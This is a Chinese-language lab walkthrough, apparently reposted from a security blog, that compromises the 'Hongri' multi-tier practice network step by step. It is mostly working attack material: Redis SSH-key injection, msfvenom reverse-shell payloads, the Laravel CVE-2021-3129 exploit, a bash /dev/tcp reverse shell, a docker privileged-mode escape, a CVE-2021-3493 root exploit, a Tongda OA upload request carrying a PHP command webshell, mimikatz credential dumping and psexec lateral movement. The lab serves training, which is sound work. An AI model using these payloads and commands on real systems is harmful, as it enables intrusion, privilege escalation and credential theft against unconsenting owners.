内网靶机红日

admin 2024年2月15日14:18:11评论6 views字数 9000阅读30分0秒阅读模式

内网靶机红日下载:关注并且后台回复红日内网

配置  

内网靶机红日

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为 10.10.10.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24

内网靶机红日    

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机 皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二 层网络。

第二层网络区域:

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网 络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第 三层网络。

服务配置  

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应 的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:

sudo su            
redis-server /etc/redis.conf            
/usr/sbin/nginx -c /etc/nginx/nginx.conf            
iptables -F/关闭防火墙            
   

内网靶机红日内网靶机红日

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start            
sudo docker start 8e172820ac78            

内网靶机红日

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:MYOAbinAutoConfig.exe            

内网靶机红日    

域用户信息  

域用户账户和密码如下:

Administrator:Whoami2021            
whoami:Whoami2021            
bunny:Bunny2021            
moretz:Moretz2021            

Ubuntu 1:

web:web2021            

Ubuntu 2:

ubuntu:ubuntu            

通达OA账户:

admin:admin657260            

ip信息  

kali            
192.168.3.239            
web1            
192.168.3.156            
192.168.52.10            
web2            
192.168.52.20            
192.168.93.10            
pc1            
192.168.52.30            
192.168.93.20            
pc2            
192.168.93.40            
dc            
192.168.93.30            
   

外网打点  

主机探测  

用nmap或者arp都可以,本人测试arp快一点

nmap -sn 192.168.3.0/24            
arp-scan -l            

内网靶机红日

接下来利用nmap扫描开放端口,开放22,80,81,6379端口

nmap -n -v -sS --min-rate 10000 -p- -Pn 192.168.3.162            
   

内网靶机红日

访问一下80和81端口

内网靶机红日内网靶机红日

redis未授权访问  

https://www.cnblogs.com/bmjoker/p/9548962.html

redis-cli -h 192.168.3.156            

直接连上,输入info可以看到直接执行

内网靶机红日    

本地生成密钥然后覆盖目标主机的密钥  

攻击者在未授权访问redis的情况下,利用redis自身提供的config命令,可以进行写文件的操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对于私钥直接使用ssh服务登录目标服务器

ssh-keygen -t rsa#生成公钥            
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > 1.txt#将公钥导入1.txt文件            
cat 1.txt | redis-cli -h 192.168.3.156 -p 6379 -x set hello#把1.txt文件内容写入目标主机的redis缓冲中            
config set dir /root/.ssh#设置redis的备份路径为/root/.ssh/            
config set dbfilename authorized_keys#设置保存文件名为authorized_keys            
save#将数据保存在目标服务器硬盘上            
ssh [email protected]#连接            
   

内网靶机红日内网靶机红日内网靶机红日内网靶机红日    

内网靶机红日

切换到家目录,查看    

内网靶机红日内网靶机红日

上线msf  

生成马子,利用拿到的ssh从网络上下载到ubuntu

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.239 LPORT=6666 -f elf > ubuntu.elf            

msf,启动!

msfconsole            
use exploit/multi/handler            
set payload linux/x64/meterpreter/reverse_tcp            
set lhost 192.168.3.239            
set lport 6666            
run            
           
chmod +x ubuntu.elf            
./ubuntu.elf            
   

内网靶机红日

内网靶机红日

成功上线Ubuntu web1

内网靶机红日

添加路由  

run get_local_subnets            
run post/multi/manage/autoroute            
run autoroute -p            
   

内网靶机红日

内网靶机红日

Laravel Debug RCE(CVE-2021-3129)  

81端口是个laravel版本在右下角写着,为8.29.0,存在远程命令执行漏洞Laravel Debug RCE(CVE-2021-3129)

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。这里直接使用工具 getshell,工具下载地址:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

可以写入哥斯拉的webshell(要使用低版本的哥斯拉,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败    

内网靶机红日

linux环境变量提权  

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

参考:https://www.freebuf.com/articles/system/173903.html

https://blog.csdn.net/weixin_49340699/article/details/118801756

当前用户为 www-data,枚举具有SUID权限的所有二进制文件,发现 /home/jobs/shell

find / -perm -u=s -type f 2>/dev/null #            
   

内网靶机红日

看到/home/jobs下有个shell,打算切换目录,但是无法执行,离谱,然后又在网站根目录上传了一个蚁剑的内网靶机红日(所以我用哥斯拉图啥,直接用ssh服务wget下载不就完了,算了,就当拓展课外知识了)然后切换到那个目录

find / -perm -u=s -type f 2>/dev/null #            
./shell            
cp /bin/bash /tmp/ps            
ls /tmp            
echo $PATH            
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序            
这里由于是docker环境,需要先把shell反弹到ubuntu1再执行操作            
nc -lvp 1234            
webshell:bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'            
更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell            
   

内网靶机红日内网靶机红日

docker特权模式逃逸  

特权模式于版本 0.6 时被引入 docker,允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物理机普通用户权限使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时,docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载当控制使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令    

把 Laravel 的高权限 shell(192.168.52.20)再反弹到 ubuntu 18(192.168.52.10)中

           
判断是否为docker 环境            
1、使用下面命令,查看是否存在 dockerrnv 文件            
ls -alh /.dockerenv            
           
2、查看系统进程的cgroup信息            
cat /proc/1/cgroup            

内网靶机红日

fdisk -l#查看磁盘文件            
ls /dev#查看设备文件            
cd /            
mkdir hello            
mount /dev/sda1 /hello            
ls /hello            
   

内网靶机红日

内网靶机红日

ssh-keygen -f hello            
chmod 600 hello #赋予权限            

内网靶机红日

覆盖密匙:            
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys#-avx将权限也一起复制            
echo > /hello/home/ubuntu/.ssh/authorized_keys       #清空authorized_keys文件            
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7hzizjmrEOuglTCmszsmOkJ1DowNdw20+z9hhSdpq6pl6Bpohp3f5V7WsdB09/blF8S+yWFSLDtdeDN4zQH6bKXyKOUBvBnxku+3v+xaNX5gTDj4mU9wEzrmiHNyDbKbpAbs8K7o85aOXxXzP0hMzpgI9zuB0kNDzj/p+IAmnQHC9PqR6YGSl1QoI3pIHWjXVk1aRuTN2bOBpCkF0OtgMBg8mNpPNoGnhKBq7zCMbIa6smhw71V6vnCxnmvhJQK6Ug72VWDK9uUIKX052adUnLqGBcF/2XqRLMGY4Hoe5iMT/Px1xErmC+q4/vfhCHdXpe8kmBr9aPoNJuVjVnpfZ root@ubuntu' > /hello/home/ubuntu/.ssh/authorized_keys#将ssh秘钥写入authorized_keys文件            
cat /hello/home/ubuntu/.ssh/authorized_keys#查看是否写入成功            
ssh -i hello [email protected] #指定本地密钥登录            
   

内网靶机红日内网靶机红日    

上线Ubuntu web2  

生成马子(低权限,现在最好不上线,一会提权完成在上线,但是不知道为什么我上线完之后两个session都莫名其妙死掉了,又重新上线了一遍)

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7777 -f elf -o ubuntu2.elf            

上传shell

内网靶机红日

上传成功

内网靶机红日

开启http服务

内网靶机红日

Ubuntu2wget下载内网靶机红日

开启监听

use exploit/multi/handler            
set payload linux/x64/meterpreter/bind_tcp            
set rhost 192.168.52.20            
set lport 7777            
run            
   

内网靶机红日

CVE-2021-3493提权  

当前登录用户是 ubuntu,查看系统信息,发现服务器在 cve-2021-3493 内核提权漏洞影响版本内

漏洞原理:Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权

内网靶机红日

提权工具:https://github.com/briskets/CVE-2021-3493    

这里就直接在目录下touch一个文件,然后把脚本内容写进去,或者输入重定向echo 脚本内容 > 1.txt,然后执行编译,执行得到的文件,我们就获得了root权限,

gcc exploit.c -o exploit            
chmod +x exploit            
./exploit            

二上msf  

操作和第一次一样,生成马子,upload上传,wget下载,加权限,执行,kali这边设置模块,run,添加路由,直接上截图内网靶机红日内网靶机红日内网靶机红日    

上线pc1  

添加路由之后发现存在192.168.52.0网段的路由,于是搭建frp代理

kali启动服务端            
[common]            
bind_port = 9100            
ubuntu1启动客户端            
#frpc.ini            
[common]            
server_addr = 192.168.3.239            
server_port = 9100            
           
[plugin_socks]            
type = tcp            
remote_port = 9101            
plugin = socks5            
   

扫描端口  

接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe            
set rhosts 192.168.52.1-255            
set threads 5            
run            

内网靶机红日    

对192.168.52.30进行识别

nmap -sV 192.168.52.30            

内网靶机红日

访问80端口发现是一个通达oa页面(使用socks5代理访问)存在漏洞,手工复现一波,抓包

POST /ispirit/im/upload.php HTTP/1.1            
Host: 192.168.52.30:8080            
Content-Length: 658            
Cache-Control: no-cache            
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36            
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB            
Accept: */*            
Accept-Encoding: gzip, deflate            
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5            
Cookie: PHPSESSID=123            
Connection: close            
           
------WebKitFormBoundarypyfBh1YB4pV8McGB            
Content-Disposition: form-data; name="UPLOAD_MODE"            
           
2            
------WebKitFormBoundarypyfBh1YB4pV8McGB            
Content-Disposition: form-data; name="P"            
           
123            
------WebKitFormBoundarypyfBh1YB4pV8McGB            
Content-Disposition: form-data; name="DEST_UID"            
           
1            
------WebKitFormBoundarypyfBh1YB4pV8McGB            
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"            
Content-Type: image/jpeg            
           
$command=$_POST['cmd'];            
$wsh = new COM('WScript.shell');            
$exec = $wsh->exec("cmd /c ".$command);            
$stdout = $exec->StdOut();            
$stroutput = $stdout->ReadAll();            
echo $stroutput;            
?>            
------WebKitFormBoundarypyfBh1YB4pV8McGB--            
           
   

内网靶机红日    

POST /ispirit/interface/gateway.php HTTP/1.1            
Host: 192.168.52.30:8080            
Connection: keep-alive            
Accept-Encoding: gzip, deflate            
Accept: */*            
User-Agent: python-requests/2.21.0            
Content-Length: 70            
Content-Type: application/x-www-form-urlencoded            
           
json={"url":"/general/../../attach/im/2309/531433566.jpg"}&cmd=whoami            
           
   

内网靶机红日

OK,直接上工具,代理改一下直接检测,上传马子    

内网靶机红日

蚁剑连接内网靶机红日

上传一个msf的exe,上线之后添加路由    

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.93.20 LPORT=4444 -f exe > msf.exe            
use exploit/multi/handler            
set payload windows/x64/meterpreter/bind_tcp            
set lport 4302            
set rhost 192.168.93.20            
run            

内网靶机红日

然后扫描一下93网段存活的主机(我这里设置的范围比较小,怕扫着扫着会话死掉,或者靶机崩了,已经重做很多次),40的机器很明显是域控内网靶机红日

扫一下永恒之蓝,尝试了一下域控没上线内网靶机红日    

回到pc1的会话,收集一下基本信息,然后查看账户密码

load kiwi            
migrate 进程(ps查看,迁移到64位的system权限的)            
kiwi_cmd privilege::debug            
kiwi_cmd sekurlsa::logonpasswords            
   

内网靶机红日内网靶机红日内网靶机红日

上线DC  

得到了域控的账号密码,关掉防火墙之后用模块上线

shell            
net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator"            
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"            
sc \192.168.93.30 start unablefirewall            
   

内网靶机红日

use exploit/windows/smb/psexec            
set payload windows/meterpreter/bind_tcp            
set rhost 192.168.93.30            
set smbuser administrator            
set smbpass Whoami2021            
           
   

内网靶机红日内网靶机红日

上线pc2  

很多方法,第一种用永恒之蓝打,但是很难打出来,而且很容易死会话,而且是一死全死那种内网靶机红日

第二种就是和上线DC一样的方法,利用模块,但是我的靶机不对劲,登录上去内网靶机红日    

第三种是将msf的session派发给cs利用cs上线内网靶机红日

至此拿下全部机器,在贴一张msf的sessions图

内网靶机红日    

内网靶机红日

长按二维码识别关注

原文始发于微信公众号(零漏安全):内网靶机红日

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日14:18:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网靶机红日http://cn-sec.com/archives/2194248.html

发表评论

匿名网友 填写信息